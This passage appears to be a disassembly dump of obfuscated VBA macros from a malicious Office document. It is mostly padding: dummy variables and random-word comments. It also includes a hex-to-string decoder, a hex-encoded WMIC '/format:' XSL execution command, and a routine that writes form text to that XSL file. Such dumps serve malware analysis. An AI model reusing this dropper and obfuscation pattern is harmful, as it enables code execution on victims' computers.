861 | PrintObj
862 | Ld akhf1
863 | ArgsLd Error 0x0001
864 | PrintItemNL
865 | Line #24:
866 | StartForVariable
867 | Ld akhf1
868 | EndForVariable
869 | NextVar
870 | Line #25:
871 | Dim
872 | VarDefn a5bTI4a
873 | Line #26:
874 | LitDI2 0x0001
875 | FnFix
876 | St a5bTI4a
877 | Line #27:
878 | QuoteRem 0x0000 0x0009 " Pore lou"
879 | Line #28:
880 | Dim
881 | VarDefn a0PURS4wD
882 | Line #29:
883 | LitDI2 0x000F
884 | FnFix
885 | St a0PURS4wD
886 | Line #30:
887 | LitStr 0x0000 ""
888 | St aEtViTKaz
889 | Line #31:
890 | Ld aEtViTKaz
891 | ArgsLd IsNull 0x0001
892 | St aqPVoX
893 | Line #32:
894 | QuoteRem 0x0000 0x000E " Pan insidious"
895 | Line #33:
896 | LitStr 0x0000 ""
897 | St aLcXnIFs
898 | Line #34:
899 | Ld aLcXnIFs
900 | ArgsLd IsNull 0x0001
901 | St aiJeY6w
902 | Line #35:
903 | QuoteRem 0x0000 0x001C " Inexorably nothing scanners"
904 | Line #36:
905 | LitStr 0x0000 ""
906 | St aqaMj
907 | Line #37:
908 | Ld aqaMj
909 | ArgsLd IsNull 0x0001
910 | St akGjxP
911 | Line #38:
912 | QuoteRem 0x0000 0x0029 " Bewitching crowd detection cvs blackbird"
913 | Line #39:
914 | Dim
915 | VarDefn aQYR48E
916 | Line #40:
917 | StartForVariable
918 | Ld aQYR48E
919 | EndForVariable
920 | LitDI2 0x003D
921 | LitDI2 0x0040
922 | For
923 | Line #41:
924 | Debug
925 | PrintObj
926 | Ld aQYR48E
927 | ArgsLd Error 0x0001
928 | PrintItemNL
929 | Line #42:
930 | StartForVariable
931 | Ld aQYR48E
932 | EndForVariable
933 | NextVar
934 | Line #43:
935 | QuoteRem 0x0000 0x001D " Fun flagrant broadest lyrics"
936 | Line #44:
937 | Dim
938 | VarDefn aq6hRMO
939 | Line #45:
940 | LitDI2 0x0001
941 | ArgsLd Exp 0x0001
942 | St aq6hRMO
943 | Line #46:
944 | QuoteRem 0x0000 0x000D " Slouch inter"
945 | Line #47:
946 | Dim
947 | VarDefn aE7YPRHoU
948 | Line #48:
949 | LitDI2 0x0015
950 | UMi
951 | FnAbs
952 | St aE7YPRHoU
953 | Line #49:
954 | Dim
955 | VarDefn aJzQTjr
956 | Line #50:
957 | StartForVariable
958 | Ld aJzQTjr
959 | EndForVariable
960 | LitDI2 0x003D
961 | LitDI2 0x0040
962 | For
963 | Line #51:
964 | Debug
965 | PrintObj
966 | Ld aJzQTjr
967 | ArgsLd Error 0x0001
968 | PrintItemNL
969 | Line #52:
970 | StartForVariable
971 | Ld aJzQTjr
972 | EndForVariable
973 | NextVar
974 | Line #53:
975 | QuoteRem 0x0000 0x001A " Hypnotic suzerain belarus"
976 | Line #54:
977 | EndFunc
978 | Line #55:
979 | FuncDefn (Public Sub a1TIEMYR(aBmLaYhPH As String))
980 | Line #56:
981 | LitStr 0x0000 ""
982 | St aCAn4M
983 | Line #57:
984 | Ld aCAn4M
985 | ArgsLd IsNull 0x0001
986 | St aIwRnD
987 | Line #58:
988 | Dim
989 | VarDefn aymPMBI
990 | Line #59:
991 | LitDI2 0x0079
992 | ArgsLd Hex 0x0001
993 | St aymPMBI
994 | Line #60:
995 | QuoteRem 0x0000 0x001E " North-eastern toxic generator"
996 | Line #61:
997 | Dim
998 | VarDefn ayTmvzo
999 | Line #62:
1000 | LitDI2 0x0005
1001 | UMi
1002 | FnAbs
1003 | St ayTmvzo
1004 | Line #63:
1005 | Dim
1006 | VarDefn aZX5c
1007 | Line #64:
1008 | LitDI2 0x0004
1009 | ArgsLd Exp 0x0001
1010 | St aZX5c
1011 | Line #65:
1012 | QuoteRem 0x0000 0x001C " Attribute research rutledge"
1013 | Line #66:
1014 | Dim
1015 | VarDefn aAB9zw
1016 | Line #67:
1017 | LitDI2 0x0010
1018 | FnFix
1019 | St aAB9zw
1020 | Line #68:
1021 | Dim
1022 | VarDefn aKIfHa
1023 | Line #69:
1024 | LitDI2 0x0029
1025 | FnAbs
1026 | St aKIfHa
1027 | Line #70:
1028 | Dim
1029 | VarDefn ae8Er
1030 | Line #71:
1031 | LitDI2 0x00FA
1032 | ArgsLd Hex 0x0001
1033 | St ae8Er
1034 | Line #72:
1035 | Dim
1036 | VarDefn aHWAg
1037 | Line #73:
1038 | LitDI2 0x00B2
1039 | ArgsLd Hex 0x0001
1040 | St aHWAg
1041 | Line #74:
1042 | Dim
1043 | VarDefn axmdRkLDh
1044 | Line #75:
1045 | LitDI2 0x0065
1046 | ArgsLd Hex 0x0001
1047 | St axmdRkLDh
1048 | Line #76:
1049 | QuoteRem 0x0000 0x0010 " Waterproof alex"
1050 | Line #77:
1051 | Dim
1052 | VarDefn aTcA84p6
1053 | Line #78:
1054 | StartForVariable
1055 | Ld aTcA84p6
1056 | EndForVariable
1057 | LitDI2 0x003D
1058 | LitDI2 0x0040
1059 | For
1060 | Line #79:
1061 | Debug
1062 | PrintObj
1063 | Ld aTcA84p6
1064 | ArgsLd Error 0x0001
1065 | PrintItemNL
1066 | Line #80:
1067 | StartForVariable
1068 | Ld aTcA84p6
1069 | EndForVariable
1070 | NextVar
1071 | Line #81:
1072 | Dim
1073 | VarDefn azwPN
1074 | Line #82:
1075 | LitDI2 0x0006
1076 | UMi
1077 | FnAbs
1078 | St azwPN
1079 | Line #83:
1080 | Dim
1081 | VarDefn a783MhiRz
1082 | Line #84:
1083 | LitDI2 0x000F
1084 | FnFix
1085 | St a783MhiRz
1086 | Line #85:
1087 | QuoteRem 0x0000 0x000C " Passover dw"
1088 | Line #86:
1089 | Dim
1090 | VarDefn aNYIum
1091 | Line #87:
1092 | LitDI2 0x001A
1093 | UMi
1094 | FnAbs
1095 | St aNYIum
1096 | Line #88:
1097 | QuoteRem 0x0000 0x0023 " Helicopter hyena mildew agog lymph"
1098 | Line #89:
1099 | Dim
1100 | VarDefn aK5rL
1101 | Line #90:
1102 | LitDI2 0x001A
1103 | UMi
1104 | FnAbs
1105 | St aK5rL
1106 | Line #91:
1107 | QuoteRem 0x0000 0x0025 " Vans different nation magnet dynamic"
1108 | Line #92:
1109 | Dim
1110 | VarDefn an6T3
1111 | Line #93:
1112 | StartForVariable
1113 | Ld an6T3
1114 | EndForVariable
1115 | LitDI2 0x003D
1116 | LitDI2 0x0040
1117 | For
1118 | Line #94:
1119 | Debug
1120 | PrintObj
1121 | Ld an6T3
1122 | ArgsLd Error 0x0001
1123 | PrintItemNL
1124 | Line #95:
1125 | StartForVariable
1126 | Ld an6T3
1127 | EndForVariable
1128 | NextVar
1129 | Line #96:
1130 | Dim
1131 | VarDefn auSLK8Q
1132 | Line #97:
1133 | StartForVariable
1134 | Ld auSLK8Q
1135 | EndForVariable
1136 | LitDI2 0x003D
1137 | LitDI2 0x0040
1138 | For
1139 | Line #98:
1140 | Debug
1141 | PrintObj
1142 | Ld auSLK8Q
1143 | ArgsLd Error 0x0001
1144 | PrintItemNL
1145 | Line #99:
1146 | StartForVariable
1147 | Ld auSLK8Q
1148 | EndForVariable
1149 | NextVar
1150 | Line #100:
1151 | QuoteRem 0x0000 0x000C " Nyc egotism"
1152 | Line #101:
1153 | LitStr 0x0000 ""
1154 | St a4B5zO27N
1155 | Line #102:
1156 | Ld a4B5zO27N
1157 | ArgsLd IsNull 0x0001
1158 | St a2iHw4
1159 | Line #103:
1160 | Dim
1161 | VarDefn a57uHYtv
1162 | Line #104:
1163 | LitDI2 0x00C2
1164 | ArgsLd Hex 0x0001
1165 | St a57uHYtv
1166 | Line #105:
1167 | QuoteRem 0x0000 0x0008 " Stating"
1168 | Line #106:
1169 | LitStr 0x0000 ""
1170 | St aFWqPNo
1171 | Line #107:
1172 | Ld aFWqPNo
1173 | ArgsLd IsNull 0x0001
1174 | St a0n1U
1175 | Line #108:
1176 | Dim
1177 | VarDefn aX6myF
1178 | Line #109:
1179 | LitDI2 0x000E
1180 | ArgsLd Exp 0x0001
1181 | St aX6myF
1182 | Line #110:
1183 | QuoteRem 0x0000 0x0010 " Fowler pantheon"
1184 | Line #111:
1185 | Ld aBmLaYhPH
1186 | LitDI2 0x0001
1187 | Sharp
1188 | LitDefault
1189 | Open (For Output)
1190 | Line #112:
1191 | LitDI2 0x0001
1192 | Sharp
1193 | PrintChan
1194 | Ld aGtzeA4YP
1195 | PrintItemNL
1196 | Line #113:
1197 | LitDI2 0x0001
1198 | Sharp
1199 | Close 0x0001
1200 | Line #114:
1201 | QuoteRem 0x0000 0x0000 ""
1202 | Line #115:
1203 | LitStr 0x0000 ""
1204 | St asxyt
1205 | Line #116:
1206 | Ld asxyt
1207 | ArgsLd IsNull 0x0001
1208 | St aYRDrjao
1209 | Line #117:
1210 | QuoteRem 0x0000 0x0008 " Closing"
1211 | Line #118:
1212 | Dim
1213 | VarDefn aZ8ljGHVk
1214 | Line #119:
1215 | LitDI2 0x0062
1216 | ArgsLd Hex 0x0001
1217 | St aZ8ljGHVk
1218 | Line #120:
1219 | QuoteRem 0x0000 0x000F " Searches asked"
1220 | Line #121:
1221 | EndSub
1222 | Line #122:
1223 | FuncDefn (Public Function aDyvj(ByVal HexToStr As String) As String)
1224 | Line #123:
1225 | Dim
1226 | VarDefn strTemp (As String) 0x000E
1227 | Line #124:
1228 | Dim
1229 | VarDefn strReturn (As String)
1230 | Line #125:
1231 | Dim
1232 | VarDefn I (As Long) 0x000E
1233 | Line #126:
1234 | StartForVariable
1235 | Ld I
1236 | EndForVariable
1237 | LitDI2 0x0001
1238 | Ld HexToStr
1239 | FnLen
1240 | LitDI2 0x0002
1241 | ForStep
1242 | Line #127:
1243 | LitStr 0x0002 "&H"
1244 | Ld HexToStr
1245 | Ld I
1246 | LitDI2 0x0002
1247 | ArgsLd Mid$ 0x0003
1248 | Concat
1249 | ArgsLd Val 0x0001
1250 | ArgsLd Chr$ 0x0001
1251 | St strTemp
1252 | Line #128:
1253 | Ld strReturn
1254 | Ld strTemp
1255 | Concat
1256 | St strReturn
1257 | Line #129:
1258 | StartForVariable
1259 | Ld I
1260 | EndForVariable
1261 | NextVar
1262 | Line #130:
1263 | Ld strReturn
1264 | St aDyvj
1265 | Line #131:
1266 | EndFunc
1267 | Macros/VBA/aSTi5Nh - 13634 bytes
1268 | Line #0:
1269 | FuncDefn (Sub main())
1270 | Line #1:
1271 | Dim
1272 | VarDefn a7RXk
1273 | Line #2:
1274 | LitDI2 0x0039
1275 | ArgsLd Hex 0x0001
1276 | St a7RXk
1277 | Line #3:
1278 | QuoteRem 0x0000 0x0011 " Atrophy boasting"
1279 | Line #4:
1280 | LitStr 0x0000 ""
1281 | St aM3VlaA
1282 | Line #5:
1283 | Ld aM3VlaA
1284 | ArgsLd IsNull 0x0001
1285 | St aRjGI
1286 | Line #6:
1287 | Dim
1288 | VarDefn abAZB8Da
1289 | Line #7:
1290 | LitDI2 0x00D9
1291 | ArgsLd Hex 0x0001
1292 | St abAZB8Da
1293 | Line #8:
1294 | QuoteRem 0x0000 0x002A " Protocols hesitancy chauffeur descriptive"
1295 | Line #9:
1296 | Dim
1297 | VarDefn aUKcAo5
1298 | Line #10:
1299 | StartForVariable
1300 | Ld aUKcAo5
1301 | EndForVariable
1302 | LitDI2 0x003D
1303 | LitDI2 0x0040
1304 | For
1305 | Line #11:
1306 | Debug
1307 | PrintObj
1308 | Ld aUKcAo5
1309 | ArgsLd Error 0x0001
1310 | PrintItemNL
1311 | Line #12:
1312 | StartForVariable
1313 | Ld aUKcAo5
1314 | EndForVariable
1315 | NextVar
1316 | Line #13:
1317 | QuoteRem 0x0000 0x0019 " Presbytery juxtaposition"
1318 | Line #14:
1319 | Dim
1320 | VarDefn aCO1cl3
1321 | Line #15:
1322 | LitDI2 0x000E
1323 | FnFix
1324 | St aCO1cl3
1325 | Line #16:
1326 | QuoteRem 0x0000 0x0008 " Married"
1327 | Line #17:
1328 | Dim
1329 | VarDefn aXA8Fn
1330 | Line #18:
1331 | LitDI2 0x00BA
1332 | ArgsLd Hex 0x0001
1333 | St aXA8Fn
1334 | Line #19:
1335 | QuoteRem 0x0000 0x001D " Career injury retrieved pass"
1336 | Line #20:
1337 | LitStr 0x0000 ""
1338 | St a49yF
1339 | Line #21:
1340 | Ld a49yF
1341 | ArgsLd IsNull 0x0001
1342 | St aVHDZ3ly
1343 | Line #22:
1344 | QuoteRem 0x0000 0x000B " Decorating"
1345 | Line #23:
1346 | LitStr 0x0000 ""
1347 | St aCHaqGEA
1348 | Line #24:
1349 | Ld aCHaqGEA
1350 | ArgsLd IsNull 0x0001
1351 | St a2cjT4V
1352 | Line #25:
1353 | Dim
1354 | VarDefn aXHupn
1355 | Line #26:
1356 | LitDI2 0x0082
1357 | ArgsLd Hex 0x0001
1358 | St aXHupn
1359 | Line #27:
1360 | Dim
1361 | VarDefn a5AofpPq
1362 | Line #28:
1363 | LitDI2 0x000A
1364 | UMi
1365 | FnAbs
1366 | St a5AofpPq
1367 | Line #29:
1368 | QuoteRem 0x0000 0x0020 " Slavish cafe top lesser atlanta"
1369 | Line #30:
1370 | Dim
1371 | VarDefn aZV4xNntf
1372 | Line #31:
1373 | LitDI2 0x000D
1374 | ArgsLd Exp 0x0001
1375 | St aZV4xNntf
1376 | Line #32:
1377 | Dim
1378 | VarDefn ajdxtRHg
1379 | Line #33:
1380 | LitDI2 0x0063
1381 | ArgsLd Hex 0x0001
1382 | St ajdxtRHg
1383 | Line #34:
1384 | LitStr 0x0000 ""
1385 | St ajUza
1386 | Line #35:
1387 | Ld ajUza
1388 | ArgsLd IsNull 0x0001
1389 | St a2Wub
1390 | Line #36:
1391 | QuoteRem 0x0000 0x0018 " Disillusion incl eileen"
1392 | Line #37:
1393 | Dim
1394 | VarDefn aBvx7Yl
1395 | Line #38:
1396 | LitDI2 0x0009
1397 | ArgsLd Exp 0x0001
1398 | St aBvx7Yl
1399 | Line #39:
1400 | Dim
1401 | VarDefn ajCvZ1P (As Object)
1402 | Line #40:
1403 | Dim
1404 | VarDefn auSgxa
1405 | Line #41:
1406 | LitDI2 0x0035
1407 | FnAbs
1408 | St auSgxa
1409 | Line #42:
1410 | QuoteRem 0x0000 0x0008 " Hostage"
1411 | Line #43:
1412 | Dim
1413 | VarDefn aa8gG
1414 | Line #44:
1415 | LitDI2 0x003C
1416 | UMi
1417 | FnAbs
1418 | St aa8gG
1419 | Line #45:
1420 | QuoteRem 0x0000 0x0011 " Im- nonce bailey"
1421 | Line #46:
1422 | SetStmt
1423 | New anUX4
1424 | Set ajCvZ1P
1425 | Line #47:
1426 | Dim
1427 | VarDefn ajNXBYQbC
1428 | Line #48:
1429 | LitDI2 0x00C6
1430 | ArgsLd Hex 0x0001
1431 | St ajNXBYQbC
1432 | Line #49:
1433 | QuoteRem 0x0000 0x0027 " Enumeration impressive seeking cologne"
1434 | Line #50:
1435 | Dim
1436 | VarDefn asHIiBe
1437 | Line #51:
1438 | LitDI2 0x000F
1439 | FnFix
1440 | St asHIiBe
1441 | Line #52:
1442 | QuoteRem 0x0000 0x0034 " Fry indoor rant leader pert presentiment zus loaves"
1443 | Line #53:
1444 | Dim
1445 | VarDefn aYP80 (As String)
1446 | Line #54:
1447 | Dim
1448 | VarDefn aak49q
1449 | Line #55:
1450 | LitDI2 0x0014
1451 | FnAbs
1452 | St aak49q
1453 | Line #56:
1454 | QuoteRem 0x0000 0x0019 " Respond presence bridget"
1455 | Line #57:
1456 | Dim
1457 | VarDefn aPDpuaNnT
1458 | Line #58:
1459 | StartForVariable
1460 | Ld aPDpuaNnT
1461 | EndForVariable
1462 | LitDI2 0x003D
1463 | LitDI2 0x0040
1464 | For
1465 | Line #59:
1466 | Debug
1467 | PrintObj
1468 | Ld aPDpuaNnT
1469 | ArgsLd Error 0x0001
1470 | PrintItemNL
1471 | Line #60:
1472 | StartForVariable
1473 | Ld aPDpuaNnT
1474 | EndForVariable
1475 | NextVar
1476 | Line #61:
1477 | Dim
1478 | VarDefn aFyRb2jrI
1479 | Line #62:
1480 | LitDI2 0x003A
1481 | UMi
1482 | FnAbs
1483 | St aFyRb2jrI
1484 | Line #63:
1485 | QuoteRem 0x0000 0x000F " Lasso workshop"
1486 | Line #64:
1487 | Ld ajCvZ1P
1488 | MemLd aZHhk
1489 | MemLd Text
1490 | St aYP80
1491 | Line #65:
1492 | Dim
1493 | VarDefn a7HNko
1494 | Line #66:
1495 | StartForVariable
1496 | Ld a7HNko
1497 | EndForVariable
1498 | LitDI2 0x003D
1499 | LitDI2 0x0040
1500 | For
1501 | Line #67:
1502 | Debug
1503 | PrintObj
1504 | Ld a7HNko
1505 | ArgsLd Error 0x0001
1506 | PrintItemNL
1507 | Line #68:
1508 | StartForVariable
1509 | Ld a7HNko
1510 | EndForVariable
1511 | NextVar
1512 | Line #69:
1513 | QuoteRem 0x0000 0x0008 " Opulent"
1514 | Line #70:
1515 | Dim
1516 | VarDefn aklcJ
1517 | Line #71:
1518 | LitDI2 0x0003
1519 | FnFix
1520 | St aklcJ
1521 | Line #72:
1522 | QuoteRem 0x0000 0x0014 " Undress van explore"
1523 | Line #73:
1524 | Dim
1525 | VarDefn a0hgosvX
1526 | Line #74:
1527 | LitDI2 0x0005
1528 | ArgsLd Exp 0x0001
1529 | St a0hgosvX
1530 | Line #75:
1531 | QuoteRem 0x0000 0x001C " Oscar behind liqueur solely"
1532 | Line #76:
1533 | Dim
1534 | VarDefn aI37lHtEo
1535 | Line #77:
1536 | LitDI2 0x0018
1537 | FnAbs
1538 | St aI37lHtEo
1539 | Line #78:
1540 | QuoteRem 0x0000 0x0008 " Assumed"
1541 | Line #79:
1542 | Dim
1543 | VarDefn ayUBnLK01 (As String)
1544 | Line #80:
1545 | Dim
1546 | VarDefn aqKG59
1547 | Line #81:
1548 | LitDI2 0x00FC
1549 | ArgsLd Hex 0x0001
1550 | St aqKG59
1551 | Line #82:
1552 | QuoteRem 0x0000 0x0006 " Natal"
1553 | Line #83:
1554 | Dim
1555 | VarDefn aiychMbk
1556 | Line #84:
1557 | LitDI2 0x000E
1558 | ArgsLd Exp 0x0001
1559 | St aiychMbk
1560 | Line #85:
1561 | QuoteRem 0x0000 0x002E " Instigator appendix cotton genealogy romantic"
1562 | Line #86:
1563 | Dim
1564 | VarDefn ac5KDsuI
1565 | Line #87:
1566 | LitDI2 0x000A
1567 | ArgsLd Exp 0x0001
1568 | St ac5KDsuI
1569 | Line #88:
1570 | LitStr 0x007C "633a5c57696e646f77735c53797374656d33325c7762656d5c776d69632070726f63657373206c697374202f666f726d61743a2261384e68352e78736c22"
1571 | ArgsLd aDyvj 0x0001
1572 | St ayUBnLK01
1573 | Line #89:
1574 | Dim
1575 | VarDefn a5umIJ
1576 | Line #90:
1577 | StartForVariable
1578 | Ld a5umIJ
1579 | EndForVariable
1580 | LitDI2 0x003D
1581 | LitDI2 0x0040
1582 | For
1583 | Line #91:
1584 | Debug
1585 | PrintObj
1586 | Ld a5umIJ
1587 | ArgsLd Error 0x0001
1588 | PrintItemNL
1589 | Line #92:
1590 | StartForVariable
1591 | Ld a5umIJ
1592 | EndForVariable
1593 | NextVar
1594 | Line #93:
1595 | Dim
1596 | VarDefn aXSy5JdT
1597 | Line #94:
1598 | StartForVariable
1599 | Ld aXSy5JdT
1600 | EndForVariable
1601 | LitDI2 0x003D
1602 | LitDI2 0x0040
1603 | For
1604 | Line #95:
1605 | Debug
1606 | PrintObj
1607 | Ld aXSy5JdT
1608 | ArgsLd Error 0x0001
1609 | PrintItemNL
1610 | Line #96:
1611 | StartForVariable
1612 | Ld aXSy5JdT
1613 | EndForVariable
1614 | NextVar
1615 | Line #97:
1616 | QuoteRem 0x0000 0x002E " Detestation cigarette life hops exempt floral"
1617 | Line #98:
1618 | Dim
1619 | VarDefn aaCOAv5w
1620 | Line #99:
1621 | LitDI2 0x001B
1622 | FnAbs
1623 | St aaCOAv5w
1624 | Line #100:
1625 | QuoteRem 0x0000 0x0033 " Alchemy presentations cripple babes coding secured"
1626 | Line #101:
1627 | LitStr 0x0009 "a8Nh5.xsl"
1628 | Ld aYP80
1629 | ArgsCall (Call) a1TIEMYR 0x0002
1630 | Line #102:
1631 | Dim
1632 | VarDefn awM7aZTfU
1633 | Line #103:
1634 | LitDI2 0x0010
1635 | UMi
1636 | FnAbs
1637 | St awM7aZTfU
1638 | Line #104:
1639 | Dim
1640 | VarDefn a5GkV0
1641 | Line #105:
1642 | StartForVariable
1643 | Ld a5GkV0
1644 | EndForVariable
1645 | LitDI2 0x003D
1646 | LitDI2 0x0040
1647 | For
1648 | Line #106:
1649 | Debug
1650 | PrintObj
1651 | Ld a5GkV0
1652 | ArgsLd Error 0x0001
1653 | PrintItemNL
1654 | Line #107:
1655 | StartForVariable
1656 | Ld a5GkV0
1657 | EndForVariable
1658 | NextVar
1659 | Line #108:
1660 | QuoteRem 0x0000 0x0014 " Exact span dr patch"
1661 | Line #109:
1662 | Dim
1663 | VarDefn aVnoy
1664 | Line #110:
1665 | LitDI2 0x0008
1666 | ArgsLd Exp 0x0001
1667 | St aVnoy
1668 | Line #111:
1669 | QuoteRem 0x0000 0x0010 " English stephen"
1670 | Line #112:
1671 | Dim
1672 | VarDefn aIeD7JZ
1673 | Line #113:
1674 | LitDI2 0x0009
1675 | FnFix
1676 | St aIeD7JZ
1677 | Line #114:
1678 | QuoteRem 0x0000 0x001F " Falls mainland corolla eyebrow"
1679 | Line #115:
1680 | Dim
1681 | VarDefn ar2uYgQ
1682 | Line #116:
1683 | StartForVariable
1684 | Ld ar2uYgQ
1685 | EndForVariable
1686 | LitDI2 0x003D
1687 | LitDI2 0x0040
1688 | For
1689 | Line #117:
1690 | Debug
1691 | PrintObj
1692 | Ld ar2uYgQ
1693 | ArgsLd Error 0x0001
1694 | PrintItemNL
1695 | Line #118:
1696 | StartForVariable
1697 | Ld ar2uYgQ
1698 | EndForVariable
1699 | NextVar
1700 | Line #119:
1701 | QuoteRem 0x0000 0x001E " Shared necessitate evangelist"
1702 | Line #120:
1703 | Dim
1704 | VarDefn a5MCIArv
1705 | Line #121:
1706 | LitDI2 0x0013
1707 | ArgsLd Hex 0x0001
1708 | St a5MCIArv
1709 | Line #122:
1710 | QuoteRem 0x0000 0x0010 " Metallica again"
1711 | Line #123:
1712 | Dim
1713 | VarDefn auDIb6AR
1714 | Line #124:
1715 | LitDI2 0x000C
1716 | FnAbs
1717 | St auDIb6AR
1718 | Line #125:
1719 | QuoteRem 0x0000 0x0027 " Pharmaceutical microwave biz suspected"
1720 | Line #126:
1721 | Dim
1722 | VarDefn aYeEo6OH
1723 | Line #127:
1724 | StartForVariable
1725 | Ld aYeEo6OH
1726 | EndForVariable
1727 | LitDI2 0x003D
1728 | LitDI2 0x0040
1729 | For
1730 | Line #128:
1731 | Debug
1732 | PrintObj
1733 | Ld aYeEo6OH
1734 | ArgsLd Error 0x0001
1735 | PrintItemNL
1736 | Line #129:
1737 | StartForVariable
1738 | Ld aYeEo6OH
1739 | EndForVariable
1740 | NextVar
1741 | Line #130:
1742 | QuoteRem 0x0000 0x0027 " Yolk ulterior items canvassing storage"
1743 | Line #131:
1744 | Dim
1745 | VarDefn avAdxhyMl
1746 | Line #132:
1747 | LitDI2 0x000B
1748 | FnFix
1749 | St avAdxhyMl
1750 | Line #133:
1751 | QuoteRem 0x0000 0x002B " Parliament undervalue propitious chromatic"
1752 | Line #134:
1753 | Dim
1754 | VarDefn aG3lmX7
1755 | Line #135:
1756 | LitDI2 0x000C
1757 | ArgsLd Exp 0x0001
1758 | St aG3lmX7
1759 | Line #136:
1760 | LitStr 0x0000 ""
1761 | St aq0WXap2
1762 | Line #137:
1763 | Ld aq0WXap2
1764 | ArgsLd IsNull 0x0001
1765 | St aZHcO
1766 | Line #138:
1767 | Dim
1768 | VarDefn axfMQ
1769 | Line #139:
1770 | StartForVariable
1771 | Ld axfMQ
1772 | EndForVariable
1773 | LitDI2 0x003D
1774 | LitDI2 0x0040
1775 | For
1776 | Line #140:
1777 | Debug
1778 | PrintObj
1779 | Ld axfMQ
1780 | ArgsLd Error 0x0001
1781 | PrintItemNL
1782 | Line #141:
1783 | StartForVariable
1784 | Ld axfMQ
1785 | EndForVariable
1786 | NextVar
1787 | Line #142:
1788 | QuoteRem 0x0000 0x0016 " Catacombs visual carl"
1789 | Line #143:
1790 | Dim
1791 | VarDefn ajB1f
1792 | Line #144:
1793 | StartForVariable
1794 | Ld ajB1f
1795 | EndForVariable
1796 | LitDI2 0x003D
1797 | LitDI2 0x0040
1798 | For
1799 | Line #145:
1800 | Debug
1801 | PrintObj
1802 | Ld ajB1f
1803 | ArgsLd Error 0x0001
1804 | PrintItemNL
1805 | Line #146:
1806 | StartForVariable
1807 | Ld ajB1f
1808 | EndForVariable
1809 | NextVar
1810 | Line #147:
1811 | QuoteRem 0x0000 0x0014 " Melbourne allocated"
1812 | Line #148:
1813 | LitStr 0x0000 ""
1814 | St aNtFJ
1815 | Line #149:
1816 | Ld aNtFJ
1817 | ArgsLd IsNull 0x0001
1818 | St aYPWZ
1819 | Line #150:
1820 | Dim
1821 | VarDefn a3HIXv
1822 | Line #151:
1823 | LitDI2 0x0036
1824 | UMi
1825 | FnAbs
1826 | St a3HIXv
1827 | Line #152:
1828 | QuoteRem 0x0000 0x0025 " Stainless heading sufficiently arena"
1829 | Line #153:
1830 | Dim
1831 | VarDefn a3Pdj
1832 | Line #154:
1833 | StartForVariable
1834 | Ld a3Pdj
1835 | EndForVariable
1836 | LitDI2 0x003D
1837 | LitDI2 0x0040
1838 | For
1839 | Line #155:
1840 | Debug
1841 | PrintObj
1842 | Ld a3Pdj
1843 | ArgsLd Error 0x0001
1844 | PrintItemNL
1845 | Line #156:
1846 | StartForVariable
1847 | Ld a3Pdj
1848 | EndForVariable
1849 | NextVar
1850 | Line #157:
1851 | QuoteRem 0x0000 0x0007 " Online"
1852 | Line #158:
1853 | Dim
1854 | VarDefn aQ1HY
1855 | Line #159:
1856 | LitDI2 0x000F
1857 | FnFix
1858 | St aQ1HY
1859 | Line #160:
1860 | QuoteRem 0x0000 0x001C " Acrimonious apples adapters"
1861 | Line #161:
1862 | Dim
1863 | VarDefn a2BQk
1864 | Line #162:
1865 | LitDI2 0x0001
1866 | ArgsLd Exp 0x0001
1867 | St a2BQk
1868 | Line #163:
1869 | LitStr 0x0000 ""
1870 | St atJOgs8
1871 | Line #164:
1872 | Ld atJOgs8
1873 | ArgsLd IsNull 0x0001
1874 | St anQP0Yq
1875 | Line #165:
1876 | QuoteRem 0x0000 0x0029 " Mate belie crevice nocturnal planes rush"
1877 | Line #166:
1878 | Dim
1879 | VarDefn aFU5J8ke
1880 | Line #167:
1881 | LitDI2 0x0003
1882 | FnAbs
1883 | St aFU5J8ke
1884 | Line #168:
1885 | QuoteRem 0x0000 0x0022 " Pantry poke terminology festivity"
1886 | Line #169:
1887 | Dim
1888 | VarDefn a1Bdl
1889 | Line #170:
1890 | StartForVariable
1891 | Ld a1Bdl
1892 | EndForVariable
1893 | LitDI2 0x003D
1894 | LitDI2 0x0040
1895 | For
1896 | Line #171:
1897 | Debug
1898 | PrintObj
1899 | Ld a1Bdl
1900 | ArgsLd Error 0x0001
1901 | PrintItemNL
1902 | Line #172:
1903 | StartForVariable
1904 | Ld a1Bdl
1905 | EndForVariable
1906 | NextVar
1907 | Line #173:
1908 | QuoteRem 0x0000 0x000B " Obtainable"
1909 | Line #174:
1910 | Dim
1911 | VarDefn aNBxYklfF
1912 | Line #175:
1913 | LitDI2 0x0024
1914 | UMi
1915 | FnAbs
1916 | St aNBxYklfF
1917 | Line #176:
1918 | Dim
1919 | VarDefn aDVKdBm
1920 | Line #177:
1921 | LitDI2 0x0027
1922 | UMi
1923 | FnAbs
1924 | St aDVKdBm
1925 | Line #178:
1926 | QuoteRem 0x0000 0x0021 " Telegraphic catch sepulchral uni"
1927 | Line #179:
1928 | LitStr 0x0000 ""
1929 | St aKeqcY4l
1930 | Line #180:
1931 | Ld aKeqcY4l
1932 | ArgsLd IsNull 0x0001
1933 | St arkaw
1934 | Line #181:
1935 | Dim
1936 | VarDefn aDrW6N
1937 | Line #182:
1938 | LitDI2 0x000E
1939 | FnFix
1940 | St aDrW6N
1941 | Line #183:
1942 | QuoteRem 0x0000 0x002C " Demoniacal warehouse recipients consumption"
1943 | Line #184:
1944 | Dim
1945 | VarDefn a43g0xT
1946 | Line #185:
1947 | Dim
1948 | VarDefn axy2Gkg1
1949 | Line #186:
1950 | LitDI2 0x0009
1951 | FnFix
1952 | St axy2Gkg1
1953 | Line #187:
1954 | QuoteRem 0x0000 0x0005 " Comp"
1955 | Line #188:
1956 | Dim
1957 | VarDefn aQV2hOrpg
1958 | Line #189:
1959 | LitDI2 0x0036
1960 | ArgsLd Hex 0x0001
1961 | St aQV2hOrpg
1962 | Line #190:
1963 | QuoteRem 0x0000 0x0028 " Civic depend gathering notified surname"
1964 | Line #191:
1965 | Dim
1966 | VarDefn aJXtM9L
1967 | Line #192:
1968 | LitDI2 0x0010
1969 | UMi
1970 | FnAbs
1971 | St aJXtM9L
1972 | Line #193:
1973 | Dim
1974 | VarDefn aYbF96K
1975 | Line #194:
1976 | LitDI2 0x0008
1977 | UMi
1978 | FnAbs
1979 | St aYbF96K
1980 | Line #195:
1981 | QuoteRem 0x0000 0x0029 " Ilk provided dogmatic anthem kiss charge"
1982 | Line #196:
1983 | Dim
1984 | VarDefn alyNuKsz
1985 | Line #197:
1986 | LitDI2 0x000A
1987 | FnFix
1988 | St alyNuKsz
1989 | Line #198:
1990 | Dim
1991 | VarDefn ah9qAeUc5
1992 | Line #199:
1993 | LitDI2 0x000D
1994 | ArgsLd Exp 0x0001
1995 | St ah9qAeUc5
